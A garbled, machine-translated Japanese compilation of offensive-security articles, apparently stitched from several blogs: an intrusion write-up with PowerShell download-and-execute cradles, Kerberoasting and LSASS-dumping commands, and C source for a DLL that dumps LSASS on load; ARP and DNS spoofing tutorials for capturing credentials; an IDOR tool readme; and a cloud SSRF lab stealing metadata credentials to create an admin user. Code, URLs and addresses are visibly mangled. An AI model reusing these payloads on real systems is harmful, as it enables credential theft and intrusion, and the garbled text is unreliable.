IEX(new-Object net.webclient).downloadString( 'http://127.0.0.1336036177/'); invoke -kerberoast -outputformat hashcat | fl | Out -File -Filepath C: \ ProgramData \ REDACTED \ PS.TXT -APPEND -FORCE -ENCODING UTF8

#出力はハッシュカットモードであり、攻撃はハッシュカットを使用してブルートフォースクラッキングである必要があります

5.1.1 Kerberosting攻撃分析

KerberoAsting Attack Analysisは、TGS-KerberoAstingとAs-KerberoAstingの2つのタイプに分けられます。 Rubeus.exe、MSF、PowerShellを使用して実行できます。 Net-ntlmhashを取得するものは、Hashcatおよびその他のツールを使用してNTLMHASHまたはパスワードを取得することができます。

p0mrnvfyfzv3498.png

5.2資格抽出にMinidumpを使用

攻撃者は、Kasperskyを回避できる資格抽出方法であるMinidumpを使用し始めました。この場所は、請求されているホストからまだ開始されます。

#Parent Process svchost.exe -k Clipboardsvcgroup -s Cbdhsvc

cmd.exe /c rundll32.exe c: \ windows \ system32 \ comsvcs.dll、minidump 968 c: \ programdata \ redacted \ lsass.dmp full

5.2.1ミニダンプ分析

攻撃者は、Kasperskyを回避できる資格抽出方法であるMinidumpを使用し始めました。この場所は、請求されているホストからまだ開始されます。

#include stdio.h

#include windows.h

#include tlhelp32.h

typedef hresult(winapi* _minidumpw)(dword arg1、dword arg2、pwchar cmdline);

int getlsasspid(){

ProcessEntry32エントリ;

entry.dwsize=sizeof(processentry32);

hsnapshot=createToolHelp32SNAPSHOT(TH32CS_SNAPPROCESS、NULL);

if(process32first(hsnapshot、entry)){

while(process32next(hsnapshot、entry)){

if(wcscmp(entry.szexefile、l'lsass.exe ')==0){

return entry.th32processid;

}

}

}

CloseHandle(hsnapshot);

0を返します。

}

void getdebugprivilege()

{

bool fok=false;

htokenを処理します。

if(openProcessToken(getCurrentProcess()、token_adjust_privileges、htoken)))

{

token_privileges tp;

tp.privilegecount=1;

lookupprivilegevalue(null、se_debug_name、tp.privileges [0] .luid);

tp.privileges [0] .attributes=true? se_privilege_enabled : 0;

調整tokenprivileges(htoken、false、tp、sizeof(tp)、null、null);

fok=(getLasterRor()==error_success);

CloseHandle(htoken);

}

}

void dumplsass()

{

wchar_t ws [100];

_minidumpw minidumpw;

minidumpw=(_minidumpw)getProcAddress(loadLibrary(l'Comsvcs.dll ')、' minidumpw ');

swprintf(ws、100、l '%u%hs'、getlsasspid()、 'c: \\ windows \\ temp \\ temp.bin full');

getDebugprivilege();

Minidumpw(0、0、WS);

}

bool apientry dllmain(hmodule hmodule、

dword ul_reason_for_call、

lpvoid lpresived

))

{

switch(ul_reason_for_call)

{

ケースdll_process_attach:

dumplsass();

壊す;

ケースdll_thread_attach:

ケースdll_thread_detach:

ケースdll_process_detach:

壊す;

}

trueを返します。

}

私はこのファイルを自分で編集しました。私はここにいます。元Aチームのボスに、浸透技術のビジョンと、喜んで共有してくれる外国のXPN巨人の精神に感謝します。

23ri42kloo03499.png

コンパイルと使用の参照

5.3充電されたホストの情報収集を続けます

Adfindを使用して、最初に充電されたホストに関する情報を収集し続けています。

cmd.exe /c adfind.exe -f '(objectcategory=person)' ad_users.txt

cmd.exe /c adfind.exe -f 'objectcategory=computer' ad_computers.txt

cmd.exe /c adfind.exe -sc Trustdump Trustdump.txt

5.4最初の充電されたマシンでPowerShellを再度実行します。

攻撃者は、ホストでPowerShellコマンドを実行し、ファイルを実行するコンテンツをダウンロードしていると常に非難されています。

c: \ windows \ system32 \ cmd.exe /c powershell.exe -nop -w hidden -c 'iex((new -Object net.webclient).downloadString(' http://a.b.c.d:80 /a '))'

上記のプロセスは5.1で詳細に説明されており、繰り返されません。

5.5その他のマシンに関する情報収集

その他のマシンで次のコマンドを実行します。

c: \ windows \ system32 \ cmd.exe /cネットアカウント /ドメイン

c: \ windows \ system32 \ cmd.exe /cネットビュー /すべて

c: \ windows \ system32 \ cmd.exe /c hoami

c: \ windows \ system32 \ cmd.exe /cネットビュー\\ x.x.x.x \ /all

c: \ windows \ system32 \ cmd.exe /c wmic /node:x.x.x.xプロセスリストブリーフ

c: \ windows \ system32 \ cmd.exe /c net ''ドメインコントローラー ' /ドメイン

c: \ windows \ system32 \ cmd.exe /c net nltest /dclist: [domain]

5.6 2つのバッチスクリプト

攻撃者は、環境内の他のターゲットを分析および発見できる2つのスクリプトS.BATとW.BATをアップロードおよび実行します。

#s.bat

エコーオフ

for /f %% i in(servers.txt)for /f 'tokens=2 delims=[]' %% j in( 'ping -n 1 -4' %% i '')do @echo %% j serv.log

#W.BAT

@ECHOオフ

for /f %% i in(workers.txt)for /f 'tokens=2 delims=[]' %% j in( 'ping -n 1 -4' %% i '')do @echo %% j work.log.log

5.7 last

2つのスクリプトが実行された後、最初に充電されたマシンで新しいコバルトストライクセッションが再び実行されます。その後、攻撃者はサービスアカウントを使用して水平方向に移動し、ドメインコントロールでコバルトストライクセッションを実行します。元の説明によると、これは弱いパスワードであり、TGS-KerberoAstingを割るためにHashCATによって得られたNet-NTLMハッシュ値をクラックする操作によって非難されます。攻撃者は、ドメインコントロールにLSASSを投棄します。 exeのプロセスメモリは、ドメイン管理権を取得し、ドメインコントロールを突破できます

元の出典:https://www.cnblogs.com/kevingeorge/p/16595912.html

arp攻撃

契約の紹介

ARPのフルネームはアドレス解像度プロトコルであり、アドレス解像度プロトコルです。 IPアドレスに基づいて物理アドレスを取得するのは、TCP/IPプロトコルです。ホストが情報を送信すると、ターゲットIPアドレスを含むARP要求をネットワーク上のすべてのホストにブロードキャストし、ターゲットの物理アドレスを決定するための返品メッセージを受信します。返品メッセージを受信した後、IPアドレスと物理アドレスはネイティブARPキャッシュに保存され、一定期間予約されます。 ARPキャッシュは、リソースを保存するために次にリクエストしたときに直接照会されます。

ARPアドレス解像度プロトコルは、ネットワーク内のさまざまなホスト間の相互信頼に基づいています。ネットワーク上のホストは、ARP応答メッセージを個別に送信できます。他のホストが返信メッセージを受信した場合、メッセージの信頼性を検出せず、ネイティブARPキャッシュに記録します。したがって、攻撃者は特定のホストに擬似ARP返信メッセージを送信することができます。そのため、送信する情報は、ARPのスプーフィングを構成する予想ホストまたは間違ったホストに到達できません。

動作原理

環境の仮定

ホストA:

IPアドレス:192.168.1.1MACアドレス:0A-11-22-33-44-01HOST B:

IPアドレス:192.168.1.2MACアドレス:0A-11-22-33-44-02

ワークフロー

ステップ1:ホストAのルーティングテーブルコンテンツによると、ホストBにアクセスするために使用されるフォワーディングIPアドレスが192.168.1.2であると判断し、ホストAはローカルARP CACHのホストBの一致MACアドレスをチェックします。ステップ2:ホストAがARPキャッシュにマッピングが見つからない場合、192.168.1.2のハードウェアアドレスに尋ねるため、ARPリクエストフレームが拡大します。ローカルネットワーク上のすべてのホストに再生すると、ソースホストAのIPアドレスとMACアドレスがARPリクエストに含まれています。ローカルネットワーク上の各ホストはARP要求を受信し、独自のIPアドレスと一致するかどうかを確認します。ホストが、要求されたIPアドレスが独自のIPアドレスと一致しないことを発見した場合、ARPリクエストを破棄します。ステップ3:ホストBは、ARP要求のIPアドレスが独自のIPアドレスと一致し、ホストAのIPアドレスとMACの位置がローカルARPキャッシュに追加されることを決定します。ステップ4:ホストBは、MACアドレスを含むARP応答メッセージをホストAに直接戻します。ステップ5:ホストAがホストBから送信されたARP応答メッセージを受信すると、ホストBのIPおよびMACアドレスマッピングでARPキャッシュを更新します。ローカルキャッシュには生涯があります。寿命が終了すると、上記のプロセスが再び繰り返されます。ホストBのMACアドレスが決定されると、ホストAはIP通信をホストBに送信できます。

キャッシュメカニズム

ARPキャッシュは、IPアドレスとMacアドレスを保存するために使用されるバッファーです。そのエッセンスは、IPアドレス-MACアドレスの対応するテーブルです。テーブル内の各エントリは、ネットワーク上の他のホストのIPアドレスと対応するMACアドレスを記録します。各イーサネットまたはトークンリングネットワークアダプターには、独自のテーブルがあります。アドレス解像度プロトコルが既知のIPアドレスノードのMACアドレスについて尋ねられると、最初にARPキャッシュで表示されます。存在する場合、対応するMacアドレスを直接返します。存在しない場合は、LANを照会するARPリクエストを送信します。ブロードキャストボリュームを最小限に抑えるために、ARPは将来の使用のためにMACアドレスマッピングへのIPアドレスのキャッシュを維持します。

ARPキャッシュには、動的および静的プロジェクトを含めることができます。動的プロジェクトは自動的に追加され、時間とともに削除されます。各動的ARPキャッシュアイテムの潜在的なライフサイクルは10分です。新しく追加されたアイテムはタイムスタンプされています。プロジェクトが追加されてから2分以内に使用されない場合、プロジェクトは有効期限が切れ、ARPキャッシュから削除されます。プロジェクトがすでに使用されている場合、さらに2分間のライフサイクルが受信されます。プロジェクトが常に使用されている場合、10分の最長のライフサイクルまでさらに2分間のライフサイクルが受信されます。静的プロジェクトは、コンピューターが再起動されるまでキャッシュに残ります。

arpスプーフィング

ARPアドレス解決プロトコルは、ネットワーク内のさまざまなホスト間の相互信頼に基づいています。その誕生により、ネットワークはより効率的に実行されますが、欠陥もあります。 ARPアドレス変換テーブルは、コンピューターのキャッシュメモリの動的な更新に依存し、キャッシュメモリの更新は更新サイクルによって制限され、最近使用されたアドレスのマッピング関係テーブルエントリのみが保存されます。これにより、攻撃者は、キャッシュメモリがテーブルエントリを更新して攻撃を実現する前に、アドレス変換テーブルを変更する機会を与えます。

ARPリクエストはブロードキャストフォームで送信されます。ネットワーク上のホストは、ARP応答メッセージを個別に送信できます。他のホストが返信メッセージを受け取ったとき、メッセージの信ity性を検出し、ローカルMACアドレス翻訳テーブルに記録しません。このようにして、攻撃者はターゲットホストに擬似ARP応答メッセージを送信し、それによりローカルMACアドレステーブルを改ざんします。 ARPのスプーフィングにより、ターゲットコンピューターがゲートウェイと通信できなくなる可能性があり、通信のリダイレクトにもつながります。すべてのデータは攻撃者のマシンに渡されます。攻撃者は、ターゲットとゲートウェイの間でデータを転送します。これは、ターゲットの通常のインターネットアクセスに影響を与えることなくターゲットを聴く目的を達成するために、「仲介者」として使用できます。

欺ceptionの実践

基本環境

攻撃ホスト:192.168.174.129 00:0C:29:39:BE:EB正常ホスト:192.168.174.170 00:0C:29336008:AD:EBゲートウェイアドレス:192.168.174.2

切断攻撃

ステップ1:攻撃ホストのポート転送を閉じる

#終了

echo 0/proc/sys/net/ipv4/ip_forward

#許可する

Echo 1/proc/sys/net/ipv4/ip_forward

1049983-20230129140559574-267061974.jpg

ステップ2:通常のホストで現在のARP解像度リストを表示します

1049983-20230129140600284-753195515.jpg

ステップ3:通常のホストでバイドゥにピン留めします

ping www.baidu.com -T

1049983-20230129140600986-1420595615.jpg

通常、Baiduにアクセスできます。

1049983-20230129140601711-377836780.jpg

ステップ4:次に、ネットワークは攻撃ホストのAprspoofによって切り取られます

usage: arpspoof [-i interface] [-c own | host | blos] [-t target] [-r] host

#パラメーター説明:

- 使用するインターフェイスを指定します

-C ARP構成を復元するときに使用されるMACアドレスを指定します。デフォルトは元のMacを使用することです(つまり、ARPSPOOFコマンドを停止した後、デフォルトで脱着します)

-t毒されるホストを指定します。指定されていない場合、LANの下のすべてのホストにデフォルトです

-R双方向中毒(宿主とターゲット)、したがってデータの双方向キャプチャ(-Tが同時に指定されている場合にのみ有効)

#executionの例:

arpspoof -i eth0 -t 192.168.174.170 192.168.174.2

1049983-20230129140602635-1232145428.jpg

ステップ5:Pingリクエストがタイムアウトし、ブラウザがwww.baidu.comを開くことができないことがわかります。同時に、ARP解像度テーブルをチェックすると、ゲートウェイのMACアドレスが正常にスプーフィングされ、攻撃者のMACアドレスに設定されていることがわかります。

1049983-20230129140603363-1270054129.jpgstep 6:その後、攻撃が中断されました(以前に-cパラメーターを指定しなかったため、元のMacアドレスが復元されます)1049983-20230129140604067-1512025892.jpg

pingが通常に戻り、ページとARPテーブルも通常に戻ることがわかります

1049983-20230129140604705-349404777.jpg

画像データ

ステップ1:ポート転送をオンにし、マシンがルーターのようなデータ情報を転送できるようにします

Echo 1/proc/sys/net/ipv4/ip_forward

1049983-20230129140605296-780391879.jpg

ステップ2:通常のホストで現在のARP解像度リストを表示します

1049983-20230129140605937-5170927.jpg

ステップ3:通常のホストでWebページにアクセスする

1049983-20230129140606648-1919331429.jpg

usage: arpspoof [-i interface] [-c own | host | blos] [-t target] [-r] host

#パラメーター説明:

- 使用するインターフェイスを指定します

-C ARP構成を復元するときに使用されるMACアドレスを指定します。デフォルトは元のMacを使用することです(つまり、ARPSPOOFコマンドを停止した後、デフォルトで脱着します)

-t毒されるホストを指定します。指定されていない場合、LANの下のすべてのホストにデフォルトです

-R双方向中毒(宿主とターゲット)、したがってデータの双方向キャプチャ(-Tが同時に指定されている場合にのみ有効)

#executionの例:

arpspoof -i eth0 -t 192.168.174.170 192.168.174.2

1049983-20230129140607359-1535379602.jpg

ステップ5:その後、DriftNetはWebサイトにアクセスする際に被害者ユーザーの残存画像データ情報を取得します

1049983-20230129140608085-1225498038.jpg 1049983-20230129140608818-1299779077.jpg 1049983-20230129140609542-1723239514.jpg

ログイン資格情報

ステップ1:ここでは、上記の画像データパーツを拡張し続けます。EtterCapを使用して攻撃ホストの通信データをキャプチャします

eTtercap -tq -i eth0

1049983-20230129140610245-861224181.jpg

ステップ2:サードパーティFTPサービスをシミュレートします

1049983-20230129140610921-563578121.jpg

ステップ3:ユーザーはサードパーティのFTPサービスにアクセスし、認証します

1049983-20230129140611552-869109915.png

ステップ4:攻撃者はユーザーのアカウントパスワード情報を正常にキャプチャします

1049983-20230129140612222-670821545.jpg

スプーフィング拡張機能

ここでは、いくつかの一般的に使用されるARPスプーフィング方法とWindowsでのARPスプーフィングツールの使用を追加します〜

netfuke

3

テスト環境

ターゲットホスト:192.168.174.170(勝利7)攻撃ホスト:192.168.174.169(Windows Server 2003)ゲートウェイアドレス:192.168.174.2

欺ceptionプロセス

ステップ1:ネットフェットの実行中のホストの実行と、ネットフェの実行を担当します。 ARPスプーフィングは実行できません)

1049983-20230129140612974-455784759.png

ステップ2:ARPスプーフィングの構成

1049983-20230129140613650-1836780355.png

ステップ3:プラグインコマンドパラメーター設定

1049983-20230129140614397-2145380496.jpg

ステップ4:ARPスプーフィングをオンにします

1049983-20230129140615228-1163122555.png

攻撃検出

XARPツールの紹介

XARPは、海外で人気のあるARPファイアウォールソフトウェアです。ユーザーが特別な検出システムを確立し、高度なテクノロジーを使用して、ネットワーク上のさまざまなARP攻撃を検出および処理するのに役立ちます。たとえば、ARPスプーフィングを使用して、攻撃者は、電子メールやパスワードなど、すべてのネットワークトラフィックを盗聴できます。これはすべて発見されていません。 XARPは、このような攻撃を検出するためのアクティブおよびパッシブ方法を実行します。

攻撃検出

ステップ1:NetFukeをオンにしてARPスプーフィング攻撃を実装する

1049983-20230129140615902-1963725991.png

ステップ2:次に、XARP側はアラーム情報と関連する記録情報を見ることができます

1049983-20230129140616614-1756824487.jpg

ps:私は個人的にこのツールがそれほど良くないと感じています〜

防御測定

ARP詐欺の防衛方法は、主に次の2つの側面から始まります。

a。鍛造データパケットの伝播をブロックします。

この方法は、主にスイッチやルーターなどのネットワークデバイスの観点から始まります。スイッチを例にとると、スイッチのポート、MACアドレス、IPアドレスにバインドして、DAI(動的ARP検査)検出テーブルを生成します。特定のポートのホストがDAIテーブルのエントリと一致しないデータパケットを送信した場合、ネットワークを切断するか、送信するデータパケットを破棄することを選択できます。

b。被害者は偽のデータパケットを受け入れません

この方法は、主にユーザーの観点から始まります。まず、なじみのないネットワークにアクセスしないことは確かです。第二に、ユーザーはデバイスにARPファイアウォールをインストールできます。技術者である場合、静的ARPエントリを確立することを選択できます(頻繁に変化しないネットワーク環境に適しており、少数が少ない)。 windonwdeユーザーはコマンド 'arp -s ip'アドレスMacアドレスを使用して静的バインディングを実行します

dns攻撃

ドメイン名システム

DNS(ドメイン名システム)、つまりドメイン名解像度プロトコル。ドメイン名システムは、分散データベースの形でドメイン名とIPアドレスを互いにマッピングします。簡単に言えば、DNSはドメイン名を解決するために使用されます。 DNSを使用すると、迷惑なIPアドレスを覚えておく必要がなくなりました。比較的覚えやすいドメイン名を使用して、サーバーにアクセスします。サーバーがIPアドレスを変更したとしても、ドメイン名を介してサーバーにアクセスすることができます。これにより、インターネットにアクセスするのがより便利になります。

1049983-20230129140617417-1882185836.png

www.baidu.comをブラウザに入力すると、次のクエリプロセスを実行します。

クライアントは、www.baidu.comローカルDNSサーバーのローカルDNSサーバーをクエリして、ローカルデータベースを確認します。 Baidu.comドメインの記録はないため、クエリ情報をルートドメインDNSサーバーに渡し、解像度のホスト名を要求します。ルートドメインDNSサーバーは、「com」ドメインをローカルDNSサーバーに解決するためのDNSサーバーのIPアドレスを返します。ローカルDNSサーバーは、「com」ドメインサーバーを担当する「com」ドメインサーバーを担当するDNSサーバーにリクエストを送信します。リクエストによると、「baidu.com」ドメインを担当するDNSサーバーのIPアドレスは、「baidu.com」ドメインを担当するローカルDNSサーバーに返されます。ローカルDNSサーバーは、「baidu.com」ドメインを担当するDNSサーバーにリクエストを送信します。このサーバーにはwww.baidu.comのレコードがあるため、www.baidu.comになります。 IPアドレスはローカルDNSサーバーに返されます。ローカルDNSサーバーは、www.baidu.comのIPアドレスをクライアントに送信します。ドメイン名が正常に解決された後、クライアントはHTTP要求をWebサーバーに送信します。 Webサーバーは、クライアントのアクセスリクエストに応答します。クライアントはターゲットホストにアクセスできます。

dnsスプーフィング

DNSはインターネットでこのような重要な役割を果たしていますが、DNSプロトコルを設計するとき、設計者はいくつかのセキュリティの問題を考慮せず、DNSのセキュリティリスクと欠陥につながりました。 DNSスプーフィングは、DNSプロトコルを設計する際に非常に深刻なセキュリティ欠陥です。

まず、Spooferは構築されたARP応答パケットをターゲットマシンに送信します。 ARPスプーフィングが成功した後、相手が送信したDNSリクエストパケットを嗅ぎ、パケットを分析してIDとポート番号を取得し、ターゲットによって構築されたDNSリターンパケットを送信します。 DNS Replyパケットを受信した後、IDとポート番号がすべて正しいことがわかります。つまり、ドメイン名とRETURNパケットの対応するIPアドレスがDNSキャッシュテーブルに保存され、実際のDNS Replyパケットが後の実際のDNS返信パケットが返されると破棄されます。

欺ceptionの実践

テスト環境

攻撃ホスト:192.168.174.129ターゲットホスト:192.168.174.170

簡単なテスト

ステップ1:攻撃ホストのネットワーク接続性をテストする

1049983-20230129140618086-1953357804.jpg

ステップ2:次に、攻撃者のホストでApacheサービスを開始し、フィッシングページを作成します。これは、通常のHTMLページに簡素化されます。ローカルテスト効果は次のとおりです

1049983-20230129140618746-1746632493.png

ステップ3:Etter.dnsファイルを見つけ、構成ファイルを変更します。ポイントwww.al1ex.comはローカルIPアドレスに

Etter.dnsを見つけます

leafpad /etc/ettercap/etter.dns

1049983-20230129140619383-361146956.jpg 1049983-20230129140620078-689761696.jpg

ステップ4:eTtercapでスプーフィングを開始します

eTtercap -g

1049983-20230129140620777-615927757.jpg

次に、DNSスプーフィングを有効にします

概要

認証情報を置き換え、パケットの結果を比較することにより、インターフェイスに期限切れの脆弱性があるかどうかを判断できます。

機能

Picture/JS/CSS/HTMLページなどの静的コンテンツのHTTPS自動フィルタリング、ブロッキング、サポート出力レポート、および完全なURL、リクエスト、応答

インストールと使用

GIT CLONE 3https://9GITHUB.COM/Y1NGLAMORE/IDTHOR_-DETECT_TTOR_-DETECT_THOR_-DETECT_THOR_-DETECT_THOR_-DTECTECT_THOR_THOR_THOR_THOR_THOR_THOR_THOR_THOR_THOR_THOR_THOR_-DETECT_THOR_THOR_THOR_THOR_THOR_-DETECT_THOR。 PIPインストール-R要件。txt

インストール依存関係

python3 start.py

Socks5: //127.0.0.133608889を聴くことができます。

start

スイッチメガおよびその他のプラグインを使用してエージェントに接続し、MITM.ITにアクセスして証明書インストールページに入力し、オペレーティングシステムに従って証明書をインストールします。

例としてmacosを取る:

175143_y7wfgR

ダウンロードしてインストールした後、キーチェーンアクセスを開き、mitmproxy証明書を見つけて、AlwaysStrusに変更します

175302_B8WD5s

インストール証明書

ターゲットシステムの2つのアカウントAとBを最初に準備し、システムの認証ロジック(Cookie、Header、パラメーターなど)に従ってAアカウント情報config/config.ymlを構成し、次にBアカウントにログインします

175522_XdPt84

アカウントBを使用してアクセスすると、スクリプトは認証情報と再生を自動的に置き換え、応答結果に基づいて期限切れの脆弱性があるかどうかを判断します。

175435_PFm3WY

レポートを生成します

新しい脆弱性があるたびに、レポート/result.htmlに自動的に追加され、ブラウザを介して開きます。

181645_PaztjA

特定のエントリをクリックして、対応するリクエストと応答を展開/崩壊させます。

181811_HJMDoo

検出ロジック

230504_ECb2mP

元の接続:https://github.com/y1nglamore/idor_detect_tool

0x00はじめに

この記事では、Alibaba Cloudを使用して、クラウドサービスで攻撃的および防御的な方法を示すための例として使用されます。まず、Terraformを使用してECS SSRF脆弱性環境を構築し、次にステップバイステップで、インスタンスに存在するSSRF脆弱性を介してクラウドサービスアカウントのすべてのAlibabaクラウドサービス許可を取得します。

0x01環境構築

この記事では、Terraformgoatを使用して撮影範囲を構築しています。 Terraformgoat範囲アドレス:https://github.com/huocorp/terraformgoat(opens new Window)

射撃場を展開するときは、Alibaba Cloud AccessKeyを使用する必要があります。クラウドの生産環境に影響を与えることを避けるために、ここで非生産環境でAccessKeyを使用し、生産環境と同じアカウントを使用しないことを強くお勧めします。

Terraformgoatツールの反復更新により、次の環境構築方法が失敗し、展開方法はより便利でフレンドリーになりました。特定の展開方法については、上記のTerraformgoat射撃範囲の住所を参照してください。

次に、射撃場の構築を開始し、最初に射撃場プロジェクトをローカルエリアにクローンし、射撃範囲をダウンロードするために必要な依存関係を構築し始めます。

git clone 3https://github.com/huocorp/terraformgoat.git - デプス1

CD Terraformgoat

Dockerビルド。 -t terraformgoat:v0.0.3

docker run -itd -Name terraformgoat terraformgoat:v0.0.3

docker exec -it terraformgoat /bin /bash githubアクセスが遅い場合、ターミナルにプロキシを掛けることができます

proxy_url='127.0.0.133601080'エクスポートhttps_proxy=http://$ proxy_url http_proxy=http://$ proxy_url all_proxy=socks5: //次に使用します。ここでは、Alibaba Cloud Serviceを例に取り、2を入力してAlibaba Cloudを選択してEnterを押します。

1049983-20230131225117204-1980699701.png

Alibaba Cloud ECS SSRFシューティングレンジパスを入力して、アクセスキーを構成します

cd/terraformgoat/aliyun/ecs/ecs_ssrf/

Aliyun Configuration 1049983-20230131225118193-701724140.png

SSRF範囲を展開します

Terraform init

INITの初期化が遅い場合は、Terraformが適用されます。プロキシを掛けてください。

適用期間中、入力値がプロンプトされ、YESを入力して入力します。

1049983-20230131225137298-63570412.png

出力では、返された範囲アドレスを見ることができます。このアドレスにアクセスすると、SSRFテスト範囲のページが表示されます。これは、環境が構築されたことを意味します。

1049983-20230131225138389-921342286.png

0x02環境利用

現在の環境にはSSRFの脆弱性がありますが、通常のSSRFが位置する環境とは異なり、ここのSSRFの脆弱性がクラウドサーバーに表示されます。つまり、このSSRFの脆弱性を通じてサーバーのメタデータ情報を取得できます。

メタデータにアクセスします

http://100.100.100.200/最新/メタデータ1049983-20230131225139477-87423798.png

返された結果では、現在の環境にはRAM/ディレクトリがあることがわかります。つまり、現在のクラウドサーバーにはRAMロールが構成されているため、一時的な資格情報を取得できます。

メタデータを介して一時的な資格情報を取得します

ここのURLのHuocorp-Terraform-Goat-Roleは、http://100.100.100.200/最新/Meta-Data/RAM/Security-Credentials/にアクセスすることで取得できます。

http://100.100.100.200/最新/Meta-Data/RAM/Security-CreDentials/Huocorp-Terraform-Goat-Role 1049983-20230131225156034-2118635665.png

Aliyunコマンドラインツールに一時的な資格情報を構成します。

Aliyun configure - モードStstoken 1049983-20230131225157311-1794465312.png

サブユーザーと助成金管理者の許可を作成します

Aliyun Ram CreateUser -Username Teamssix

Aliyun Ram CreateLoginProfile -Username TeamSix -PassWord TeamSix@666

aliyun ram attachpolicytouser ---ポリシュイタイプシステム - ポリックナムadministratorAccess -username teamsix 1049983-20230131225158348-1911636520.png

https://Signin.aliyun.com(新しいウィンドウを開く)ページにアクセスして、RAMユーザーを介してログインします。ここのユーザー形式は、USERNAME@Company-Aliasで、ユーザー名は作成したばかりのユーザー名です。 Company-Aliasは、次のコマンドから取得できます。

Aliyun Ram GetAccountalias 1049983-20230131225201677-896717901.png

ここのアカウンタリアは、私たちが必要とする会社です。次にコンソールにログインできます。

1049983-20230131225202783-1613916352.png

ユーザーが今作成されたときにパスワードを入力してください

1049983-20230131225203985-212994692.png

ログインした後、ターゲットコンソールが表示されます。

1049983-20230131225206591-1683868747.png

現在、ユーザーを作成するときにAdministratorAccessの許可が付与されたため、RAM Access Control Officeから、現在のアカウントがすべてのAlibabaクラウドリソースを管理する許可があることを確認できます。

1049983-20230131225207786-84884398.png

Cloud Service ECSインスタンスでは、作成したばかりのSSRFシューティングレンジサーバーも表示できます。

1049983-20230131225208760-1260587526.png

この時点で、クラウドサーバーのSSRF脆弱性を活用することにより、Alibaba Cloud Consoleを引き継ぐために実装されています。

さらに、この環境にフラグファイルも配置されます。興味がある場合は、このフラグを見つけることができます。書き込みアドレス:https://github.com/huocorp/terraformgoat/tree/main/aliyun/ecs/ecs_ssrf(オペンズ新しいウィンドウ)

0x03防衛測定

SSRFに加えて、この環境には他に2つの主要な問題があります。

RAMの役割はあまりにも大きすぎるため、役割の許可を通じてサブユーザーの作成や、補強なしでサブユーザーに高い許可を付与するなど、操作メタデータにつながります。その結果、ターゲットにSSRFがあるか、ターゲットの権限が削除されると、メタデータは取得されるリスクがあります。最初のRAM役割の過度の権限の問題については、主なことは、ユーザーが権限を最小化するという原則を厳密に順守することです。 RAMの役割に権限を付与する場合、あまりにも高い権限を与えたり、必要な権限を付与したりすることのみを避けます。

2番目のメタデータのアクセスが硬化していないという問題に応じて、インスタンスのメタデータアクセスモードを硬化モードに設定できます。これは基本的なソリューションです。メタデータアクセスモードを硬化モードに設定するには、次の2つの方法があります。

インスタンスを作成するときに、システム構成1049983-20230131225209857-101210772.pngの高度なオプションで「インスタンスメタデータアクセスモード」を「右のモード」に設定できます。

すでに作成されたインスタンスでは、Alibaba Cloud Openapiでトークンを使用してメタデータの強制アクセスを有効にすることができます。 Openapiアドレス:https://NEXT.API.ALIYUN.COM/API/ECS/2014-05-26/MODIFYINSTANCEMETADATAOPTIONS(Opens New Window)1049983-20230131225211023-811956951.png

httptokensを必要なものに設定するということは、硬化モードが強制的に使用されることを意味します。現時点では、メタデータにアクセスすると403が促されます。

1049983-20230131225212158-993266326.png

メタデータを強化モードに設定すると、メタデータがSSRFを使用してメタデータが取得されるのを防ぐことができますが、インスタンスの許可が削除された場合、レッドチームはインスタンスでトークンを取得してからメタデータを取得するためにトークンを使用してコマンドを実行できます。

Linuxインスタンスでトークンを取得するコマンドは次のとおりです。

トークン=`curl -x put 'http://100.100.100.200/rest/api/token' -h 'x-aliyun-metadata-token-ttl-seconds: 21600'``` `` `` `Getトークン

Curl -H 'X-Aliyun-Ecs-Metadata-Token: $ Token' http://100.100.100.200/最新/Meta-Data/1049983-20230131225213143-2072985310.png

Windowsインスタンスで取得する方法については、Alibaba Cloudの公式文書を参照してください:https://help.aliyun.com/document_detail/108460.htm(Opens new Window)

メタデータアクセスモードを補強モードに設定するこの方法は、SSRFの脆弱性を防御するための補強モードになります。

0x04環境削除

作成されたサブアカウントを削除します

Aliyun Ram DetachpolicyFromuser - PolicyType System - PolicYname AdministratorAccess - Username TeamSsix

Aliyun Ram Deleteuser -Username TeamSixは、SSRF射撃範囲環境を削除します。射撃範囲を使用した後、ここで作成されたクラウドサービスは時間ごとに請求され、この射撃範囲インスタンスの価格は1時間あたり0.17人民元であるため、時間内に削除することを忘れないでください。

射撃範囲を破壊する前に、AccessKeyを初期アクセスキーとして構成し、コマンドを構成することを忘れないでください:Aliyun configure - mode ak

Terraform Destroy Terraformgoatをクリアしたい場合は、次のコマンドを使用できます。将来クラウド攻撃と防御を学びたい場合は、Terraformgoat環境を維持できます。

Dockerはterraformgoatを停止します

Docker RM Terraformgoat

Docker RMI terraformgoat:V0.0.3

0x05要約

ここでは、クラウドのSSRF脆弱性を通じて一時的なキーが得られました。管理者アクセスを備えたサブスクライバーが一時キーを介して作成され、最後にターゲットコンソールがこのサブスクライバーを介して引き継がれました。

ただし、この方法を実際の戦闘で使用するためのいくつかの前提条件があり、主な前提条件は次の2つです。

ECSインスタンスにはRAMの役割を付与する必要があります。そうしないと、一時的な資格情報にアクセスするメタデータは404ramを返します。この役割には、ユーザーの作成、許可の付与など、RAMアクセス制御に関連する運用許可が必要です。そうしないと、一時キーにはサブユーザーを作成する許可がありません。実際の戦闘では、ECSインスタンスにRAMの役割が付与されている場合、ほとんどの場合、役割にはユーザー作成の許可がありません。現時点では、サブアカウントを作成してコンソールにログインすることは不可能です。 Alibaba Cloud Command Lineツールを使用して、ターゲットクラウドサービスを操作できます。

一般に、クラウド攻撃と防御は、従来のイントラネット攻撃と防御とは依然として非常に異なります。

クラウド攻撃と防御の一般的な問題は、構成エラーです。たとえば、ここでの問題は、RAMの役割構成権限が高すぎることです。クラウド攻撃と防御の許可を維持する主な方法は、従来の攻撃と防御に関するさまざまな許可を持つのではなく、高恵まれたRAMユーザーを作成することです。クラウド攻撃と防御のイントラネットの水平方向は、伝統的な攻撃や防御などのさまざまなイントラネットの水平方式を持つのではなく、このクラウドサービスから別のクラウドサービスまで、クラウドサービスメーカーのコマンドラインまたはコンソールで主に水平方向にあります。最後に、この記事に記載されているコマンドの多くは、Fireline Cloud Security Knowledge Baseのコンテンツを参照しています。ナレッジベースアドレスは、https://Cloudsec.huoxian.cn(新しいウィンドウを開きます)です。知識ベースのホームページに、ファイヤーラインクラウドサービス攻撃と防御マトリックスを見ることができます。この記事は、この攻撃と防御マトリックスに基づいたクラウド攻撃と防御です。

1049983-20230131225214928-653517160.png

